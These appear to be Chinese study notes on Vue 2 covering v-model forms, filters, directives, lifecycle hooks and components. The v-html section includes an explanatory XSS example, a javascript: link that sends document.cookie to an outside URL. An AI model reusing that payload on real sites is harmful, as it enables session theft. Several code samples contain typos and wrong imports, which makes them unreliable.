Vue2学习day03
收集表单数据
收集表单数据:
- 若
<input type="text"/> ,则v-model 收集的是value 值,用户输入的就是value值 - 若
<input type="radio" /> ,则v-model 收集的是value值,且要给标签配置 h b value值 - 若
<input type="checkbox" />
- 没有配置
input 的value 属性,那么收集的就是checked (勾选与否,布尔值) - 配置
input 的value 属性:
v-mode l的初始值是非数组,那么收集的就是checked v-model 的初始值是数组,那么收集的就是value 组成的数组 v-model 的三个修饰符:
lazy :失去焦点再收集数据number :输入字符串转为有效的数字trim :输入首尾空格过滤
<div id="root">
<form @submit.prevent="demo">
账号:<input type="text" v-model.trim="account"><br><br>
密码:<input type="password" v-model="password"><br><br>
年龄: <input type="number" v-model.number="age"><br><br>
性别:
男<input type="radio" name="sex" value="male" v-model="sex">
女<input type="radio" name="sex" value="female" v-model="sex"><br><br>
爱好:
敲代码<input type="checkbox" v-model="hobby" value="code">
游戏<input type="checkbox" v-model="hobby" value="game">
综艺<input type="checkbox" v-model="hobby" value="zongyi"><br><br>
城市:
<select name="city" id="city" v-model="city">
<option value="">请选择城市</option>
<option value="beijing">北京</option>
<option value="hangzhou">杭州</option>
<option value="qingdao">青岛</option>
<option value="jinan">济南</option>
</select><br><br>
其他信息
<textarea v-model.lazy="other"></textarea><br><br>
<input type="checkbox" v-model="agree">阅读并接受<a href="http://wwww.baidu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
account:'',
password:'',
sex:'female',
age:18,
hobby:[],
city:'beijing',
other:'',
agree:''
},
methods: {
demo(){
console.log(JSON.stringify(this._data))
}
},
})
</script>
上述在输出信息到控制台时,直接将vm._data转为JSON输出,虽然这样做没有任何问题,但是我们 一般不直接操作vm._data1,可以封装为一个userInfo对象,而后将该userInfo对象转为json字符串输出到控制台
userInfo{
account:'',
password:'',
sex:'female',
age:18,
hobby:[],
city:'beijing',
other:'',
agree:''
}
过滤器
过滤器:
- 定义:对要显示的数据进行特性格式化后再显示(适用于一些简单逻辑的处理)
- 语法:
- 1、注册过滤器:Vue.filter(name,callback) 或 new Vue(filters:{}}
- 2、使用过滤器:{{xxx | 过滤器名}} 或 v-bind:属性=“xxx | 过滤器名”
- 备注:
- 1、过滤器也可以接收额外参数、多个过滤器也可以串联
- 2、并没有改变原来的数据,是产生新的对应的数据
以下案例用到第三方包dayjs 实现date的格式转换,可去BootCDN下载使用,使用时记得引入
<div id="root">
<h2>显示格式化后的时间</h2>
<h2>现在是:{{fmtTime}}</h2>
<h2>现在是:{{getFmtTime()}}</h2>
<h2>现在是:{{time | timeFormater}}</h2>
<h2>现在是:{{time | timeFormater('YYYY年MM月DD日 HH:mm:ss')}}</h2>
<h2>现在是:{{time | timeFormater('YYYY年MM月DD日') | mySplice}}</h2>
<h2 :x="msg | mySlice">vue</h2>
</div>
<div id="root2">
</div>
<script type="text/javascript">
Vue.config.productionTip = false
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el: '#root',
data: {
time:1646795441161,
msg:"Vue学习"
},
computed:{
fmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
methods: {
getFmtTime(){
return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
}
},
filters:{
timeFormater(value, str='YYYY-MM-DD HH:mm:ss'){
return dayjs(value).format(str)
}
}
})
new Vue({
el: '#root2',
data: {
time:1646796238896
}
})
</script>
内置指令
内置指令即Vue提供我们直接使用的指令,
- 前面已经学习过:
- v-bind: 单向绑定解析表达式,可简写为xxx
- v-model: 双向数据绑定
- v-for: 遍历数组/对象/字符串
- v-on: 绑定事件监听,可简写为@
- v-if: 条件渲染(动态控制节点是否存在)
- v-else: 条件渲染(动态控制节点是否存在)
- v-show: 条件渲染(动态控制节点是否展示)
接下来我们来学习下Vue其他常见的内置指令
v-text指令:
- 作用:向其所在节点中渲染文本内容
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xxx}}则不会
<div id="root">
<div>{{name}}</div>
<div v-text="str"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name:'Vue',
str:'<h2>敲代码</h2>'
}
})
</script>
v-html指令
v-html 指令是与v-text 非常相像的一个内置指令,但是其可以解析html标签 v-html指令:
- 作用:向制定节点中渲染包含html结构的内容
- 与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会
- v-html可以识别html结构
- 严重注意:v-html有安全性问题
- 在网站上动态渲染任意html是非常危险的,容易导致xss攻击
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上
<div id="root">
<div>{{name}}</div>
<div v-text="str"></div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name:'Vue',
str:'<h2>敲代码</h2>',
str2:' <a href=javascript:location.href="http://www.baidu.com?"+document.cookie>资源</a>'
}
})
</script>
以上代码点击链接跳转是可以盗取用户cookies是十分危险的
v-cloak指令(没有值)
v-cloak指令(没有值)
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
使用css批量操作带有v-cloak 属性的标签,以达到其在Vue实例创建完毕后在进行展示
<style>
[v-cloak]{
display: none;
}
</style>
<div id="root">
<h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name:'Vue',
}
})
</script>
v-once指令(没有值)
v-once指令(没有值):
- v-once所在节点在初次动态渲染后,就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新,可以用户优化性能
<div id="root">
<h2 v-once>初始化的n值为:{{n}}</h2>
<h2>当前n的值为:{{n}}</h2>
<button @click="n++">点我n++</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n:1,
}
})
</script>
v-pre指令(没有值)
v-pre指令(没有值)
- 跳过其所在节点的编译过程
- 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译
<div id="root">
<h2 v-pre>初始化的n值为:{{n}}</h2>
<h2>当前n的值为:{{n}}</h2>
<button @click="n++">点我n++</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
n:1,
}
})
</script>
自定义指令
自定义指令:
<div id="root">
<h2>{{name}}</h2>
<h2>当前的n值是{{n}}</h2>
<h2>放大十倍后的n值为: <span v-big="n"></span> </h2>
<h2>放大十倍后的n值为: <span v-big-number="n"></span> </h2>
<button @click="n++">点我n+1</button>
<hr />
<input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el: '#root',
data: {
name:'Vue',
n:1
},
directives:{
big(element,binding){
element.innerText = binding.value * 10
console.log(element,binding.value,this)
},
'big-number'(element,binding){
element.innerText = binding.value * 10
console.log(element,binding.value)
},
fbind:{
bind(element,binding){
element.value = binding.value
console.log('bind')
},
inserted(element,binding){
element.focus()
console.log('inserted')
},
update(element,binding){
element.value = binding.value
console.log('update')
}
}
}
})
</script>
Vue生命周期
引出生命周期
生命周期:
- 又名:生命周期回调函数、生命周期函数、生命周期钩子
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
- 生命周期函数中的this指向是vm或组件实例对象
<div id="root">
<h2 :style="{opacity: opacity}">Vue学习</h2>
<h2 :style="{opacity}">Vue学习</h2>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
opacity:1
},
methods: {
},
mounted(){
setInterval(()=>{
this.opacity -= 0.01
if(this.opacity<=0){
this.opacity = 1
}
},16)
}
})
</script>
分析生命周期
<div id="root">
<h2>当前的n值是:{{n}}</h2>
<button @click="add">点我n+1</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
n:1
},
methods: {
add(){
this.n++
}
},
beforeCreate() {
console.log('beforeCreate')
},
created() {
console.log('Create')
},
beforeMount() {
console.log('beforeMount')
},
mounted() {
console.log('mounted')
},
beforeUpdate() {
console.log('beforeUpdata')
},
updated() {
console.log('updated')
},
beforeDestroy() {
console.log('beforeDestroy')
},
destroyed() {
console.log('destroyed')
},
})
</script>
总结生命周期
- 常用的生命周期钩子:
- mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】
- beforeDestroy:清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】
- 关于销毁Vue实例
- 销毁后借助Vue开发者工具看不到任何信息
- 销毁后自定义事件会失效,但是DOM事件依然有效
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程
<div id="root">
<h2 :style="{opacity}">Vue学习</h2>
<button @click="stop">点我停止变换</button>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
opacity:1
},
methods: {
stop(){
this.$destory()
}
},
mounted(){
this.timer = setInterval(()=>{
this.opacity -= 0.01
if(this.opacity<=0){
this.opacity = 1
}
},16)
},
beforeDestroy() {
clearInterval(this.timer)
},
})
</script>
非单文件组件
为什么要使用组件?下图为尚硅谷老师关于组件优点的讲解图 组件:
- 实现应用中局部功能代码和资源的集合,复用编码,简化编码,提高运行效率
基本使用
- Vue中使用组建的三大步骤:
- 一、定义组件(创建组件)
- 二、注册组件
- 三、使用组件(写组件标签)
- 如何定义一个组件?
- 使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但也有区别
- 区别如下:
el 不要写,为什么?——最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器data 必须写成函数,为什么?——避免组件被复用时,数据存在引用关系,一个改变其他的跟着变- 备注:使用template可以配置组件结构
- 如何注册组件?
- 局部注册:靠new Vue的时候传入components选项
- 全局注册:靠Vue.component(‘组件名’,组件)
- 编写组件标签
<div id="root">
<h1>{{msg}}</h1>
<school></school>
<hr>
<xuesheng></xuesheng>
<hello></hello>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
`,
data() {
return {
schoolName:'曲师',
address:'曲阜'
}
},
methods: {
showName(){
alert(this.schoolName)
}
},
})
const student = Vue.extend({
template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data() {
return {
studentName:'张三',
age:'20'
}
}
})
const hello = Vue.extend({
template:`
<div>
<h2>你好呀{{name}}</h2>
</div>
`,
data(){
return{
name:'Vue'
}
}
})
Vue.component('hello',hello)
new Vue({
el: '#root',
data:{
msg:'你好呀'
},
components:{
school,
xuesheng:student
}
})
</script>
几个注意点
几个注意点:
- 关于组件名:
- 一个单词组成:
- 第一种写法(首字母小写):school
- 第二种写法(首字母大写):School
- 多个单词组成:
- 第一种写法(kebab-case命名):my-school
- 第二种写法(CamelCase命名):MySchool(需要Vue脚手架支持)
- 备注:
- 组件名尽可能回避html中已有的元素名称
- 可以使用name配置指定组件在开发者工具中呈现的名字
- 关于组件标签:
- 第一种写法:
- 第二种写法: 但是不使用脚手架时,该写法会导致后续组件不能渲染
- 一个简写方式:
- const school = Vue.extend(options)可以简写为:const school = options
<div id="root">
<h1>{{msg}}</h1>
<School></School>
<my-school></my-school>
<hr>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const school = Vue.extend({
name:'hhh',
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
`,
data() {
return {
schoolName:'曲师',
address:'曲阜'
}
},
})
const school2 = {
name:'hhh',
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
</div>
`,
data() {
return {
schoolName:'曲师',
address:'曲阜'
}
},
}
new Vue({
el: '#root',
data:{
msg:'你好呀'
},
components:{
School:school,
'my-school':school
}
})
</script>
组件的嵌套
<div id="root">
<app></app>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const student = Vue.extend({
template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
`,
data() {
return {
studentName:'张三',
age:20
}
},
})
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<student></student>
</div>
`,
data() {
return {
schoolName:'曲师',
address:'曲阜'
}
},
components:{
student
}
})
const hello = Vue.extend({
template:`
<h1>{{msg}}</h1>
`,
data() {
return {
msg:'Vue学习之组件的嵌套'
}
}
})
const app = Vue.extend({
template:`
<div>
<hello></hello>
<school></school>
</div>
`,
components:{
school,
hello
}
})
new Vue({
el: '#root',
components:{
app
}
})
</script>
VueComponent
关于VueComponent:
- school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的
- 我们只需要写
<school/> 或<school></school> ,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options) - 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent
- 关于this指向:
- 组件配置中
- data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【VueComponent实例对象】
- new Vue()配置中
- data函数、methods中的函数、watch中的函数、computed中的函数,它们的this指向均是【Vue实例对象】
- VueComponent的实例对象,以后在博客中简称vc(也可以称之为:组件实例对象)
- Vue的实例对象,以后简称vm
<div id="root">
<school></school>
<hello></hello>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName()">点我展示学校名称</button>
</div>
`,
data() {
return {
schoolName:'曲师',
address:'曲阜'
}
},
methods: {
showName(){
console.log('showName',this)
}
},
})
const hello = Vue.extend({
template:`
<h1>{{msg}}</h1>
`,
data() {
return {
msg:'Vue学习之组件的嵌套'
}
}
})
console.log('@',school)
console.log('#',hello)
console.log('@',school==hello)
new Vue({
el: '#root',
components:{
school,
hello
}
})
</script>
一个重要的内置关系
- 一个重要的内置关系:
VueComponent.prototype.__proto__ === Vue.prototype - 为什么要有这个关系:让组件实例对象(vc)可以访问到Vue原型上的属性、方法
function Demo(){
this.a = 1
this.b = 2
}
const d = new Demo()
console.log(Demo.prototype)
console.log(d.__proto__)
console.log(Demo.prototype==d.__proto__)
Demo.prototype.x = 99
console.log('@',d)
```![在这里插入图片描述](https://img-blog.csdnimg.cn/3ef19f251a9747598ce3547c18ab1682.png)
```html
<div id="root">
<!-- 第三步,编写组件标签 -->
<school></school>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
Vue.prototype.x = 99
const school = Vue.extend({
template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showX()">点我输出x</button>
</div>
`,
data() {
return {
schoolName:'曲师',
address:'曲阜'
}
},
methods: {
showX(){
console.log('x',this.x)
}
},
})
new Vue({
el: '#root',
components:{
school
}
})
console.log(school.prototype.__proto__ === Vue.prototype)
</script>
单文件组件
关于为什么要使用单文件组件,以下为官网给出的解释
在很多 Vue 项目中,我们使用 Vue.component 定义全局组件,紧接着用new Vue({el: '#container'})
在每个页面内指定一个容器元素。
这种方式在很多中小规模的项目中运作的很好,在这些项目里 JavaScript 只被用来加强特定的视图。
但当在更复杂的项目中,或者你的前端完全由 JavaScript 驱动的时候,下面这些缺点将变得非常明显:
全局定义 (Global definitions) 强制要求每个 component 中的命名不得重复
字符串模板 (String templates) 缺乏语法高亮,在 HTML 有多行的时候,需要用到丑陋的 \
不支持 CSS (No CSS support) 意味着当 HTML 和 JavaScript 组件化时,CSS 明显被遗漏
没有构建步骤 (No build step) 限制只能使用 HTML 和 ES5 JavaScript,而不能使用预处理器,
如 Pug (formerly Jade) 和 Babel
文件扩展名为 .vue 的 single-file components (单文件组件) 为以上所有问题提供了解决方法,
并且还可以使用 webpack 或 Browserify 等构建工具。
xxx.vue 直接交给浏览器是不能运行的,等经过处理加工成js文件,可通过webpack 或者Vue提供的脚手架,给xxx.Vue起名时的规则:school.vue School.Vue my-school.vue MySchool.vue 下面单文件组件案例我们在上述非单文件组件案例的基础上进行改造 首先先创建School组件和Student组件 School.vue
<template>
<div class="demo">
<h2>学校名称:{{name}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
</div>
</template>
<script>
export default {
name:'School',
data() {
return {
name:'曲师',
address:'曲阜'
}
},
methods: {
showName(){
alert(this.name)
}
},
}
</script>
<style>
.demo{
background-color: orange;
}
</style>
Student.vue
<template>
<div>
<h2>学生姓名:{{name}}</h2>
<h2>学生年龄:{{age}}</h2>
</div>
</template>
<script>
export default {
name:'School',
data() {
return {
name:'张三',
age:'20'
}
},
}
</script>
App.vue
<template>
<div>
<School></School>
<Student/>
</div>
</template>
<script>
import School from './School.vue'
import School from './Student.vue'
export default {
name:'App',
components:{
School,
Student
}
}
</script>
main,js
import App from './App.vue'
new Vue({
el:'#root',
template:`<App></App>`,
components:{
App
}
})
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>单文件组件语法练习</title>
</head>
<body>
<div id="root"></div>
<script type="text/javascript" src="../js/vue.js"></script>
<script type="text/javascript" src="./main.js"></script>
</body>
</html>
|